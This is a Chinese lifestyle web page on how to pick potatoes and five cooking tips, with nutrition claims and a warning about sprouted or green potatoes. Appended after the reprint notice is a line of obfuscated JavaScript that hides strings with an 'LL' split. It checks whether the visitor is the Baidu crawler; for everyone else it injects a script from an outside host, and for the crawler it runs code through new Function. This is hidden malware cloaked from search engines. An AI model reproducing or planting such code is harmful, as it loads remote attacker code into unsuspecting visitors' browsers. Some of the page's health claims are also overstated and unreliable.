当前位置:首页 > 饮食 > 健康饮食 > 正文

如何挑选土豆?教你土豆烹饪5个窍门

2016-01-01 22:53:36  来源:360常识网   热度:
导语:土豆,学名马铃薯,别名洋山芋、洋番薯、山药蛋。它和玉米、小麦、水稻、燕麦被称为世界五大粮食作物。土豆因其营养丰富而有“地下人参”的美誉。

如何挑选土豆?教你土豆烹饪5个窍门

如何挑选土豆?教你土豆烹饪5个窍门

马铃薯又名土豆,被营养学家称为“十全十美”的最佳食物,因为它营养成分齐全,而且易为人体消化吸收,在欧美享有“第二面包”的称号,世界各国对它都有很高的评价,给它不少美好的名字,法国人叫它地下苹果,意大利人称之为地果,德国人则叫它地梨。马铃薯中含有丰富的淀粉质、维生素C、维生素A、维生素Bl、钾、胡萝卜素等,热量高但不含脂肪。中医认为,马铃薯性平味甘,具有和胃调中、益气健脾、强身益肾、消炎、活血消肿等功效。

土豆性平,有和胃、调中、健脾、益气之功效;能改善肠胃功能,对胃溃疡、十二脂肠溃疡、慢性胆囊炎、痔疮引起的便秘均有一定的疗效。美国农业部农业研究所认为:“每餐只吃全脂牛奶和马铃薯,可以得到人体所需要的一切物质元素。”

由于土豆营养丰富,粮菜兼用,含有丰富的维生素及钙、钾等微量元素,且易于消化吸收,老少皆宜,功能齐全,颇受人们称赞。有的称誉它为“第二面包”,有的赞扬它是“植物之王”。在欧美国家特别是北美,土豆早就成为第二主食。

如何选购

蔬菜市场上的马铃薯包括两种类型:富含淀粉的粮用品种和蛋白质含量较高、肉质细腻的菜用品种。肉质粗细只有刀切时才能判别,但挑选黄肉、肉质致密、水分少的并不难。这种土豆富含胡萝卜素,不仅营养价值高,吃口也好。

购买马铃薯时也不能只看肉,不看皮。买马铃薯时,以表皮深黄色和紫色者为佳。

要特别提醒大家的是,有两种马铃薯绝对不要买:一是出芽的,二是皮变绿的。这两种土豆在皮层和芽眼附近会形成有毒物质龙葵碱,这种有毒物质即使煮熟后也不会破坏。吃了以后就会中毒,危及生命。故发芽的、变绿的马铃薯只得倒掉,千万不可食用。

土豆烹饪5个窍门

新土豆炖煮,老土豆烹炒。新鲜土豆口感细嫩稠滑,容易做熟。由于其水分多、糖分多、胶黏性较好,在水中仍能保持块状,吃起来口感很面,所以适合做汤、炖烧菜等;而老土豆相比新土豆,在营养上没有很大差异,但水分减少,口感爽脆,下锅后不会发生新土豆那样易黏锅、易糊的现象,适合烹炒。

削皮,只需去掉薄薄一层。土豆皮下面的汁液中富含多种营养素,所以削皮时只削掉薄薄的一层就可以了。用钢丝球轻搓土豆表面,很轻松就能将外皮去掉薄薄一层,且不会损伤里面的“土豆肉”。新土豆则可用冷热水交替去皮,把土豆放入热水中浸泡一下,再换到冷水中,这样也能很容易地去皮。

切完马上泡在水里。土豆中含多酚氧化酶,在氧气的作用下会发生褐变,从而影响土豆色泽。因此在烹饪过程中,切好的土豆应及时放在水里,以防氧化变黑。在浸泡时,可在水中加少许醋,一来可以有效地防止褐变,二来能让土豆口感脆爽、不黏不糊,三来能减少土豆中维生素和矿物质等的流失。需要提醒的是,土豆切完后最好马上烹调,以防营养素流失到水中。

小火炖容易熟。土豆用文火炖煮,才能均匀地熟烂,若急火煮烧,会使外层熟烂甚至开裂,里面却是生的。另外大火炖,汤汁不断翻滚会使土豆块外面煮烂,更容易糊锅。

土豆泥带皮蒸保存营养。带皮蒸的整土豆营养损失更少,尤其是维生素C保留得更多,是最营养的吃法。去皮蒸会让水分更容易进入土豆中,这样蒸出来的土豆水分太多,口感不好。另外,做土豆泥时也最好带皮整个蒸熟后,再去皮捣制成泥。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}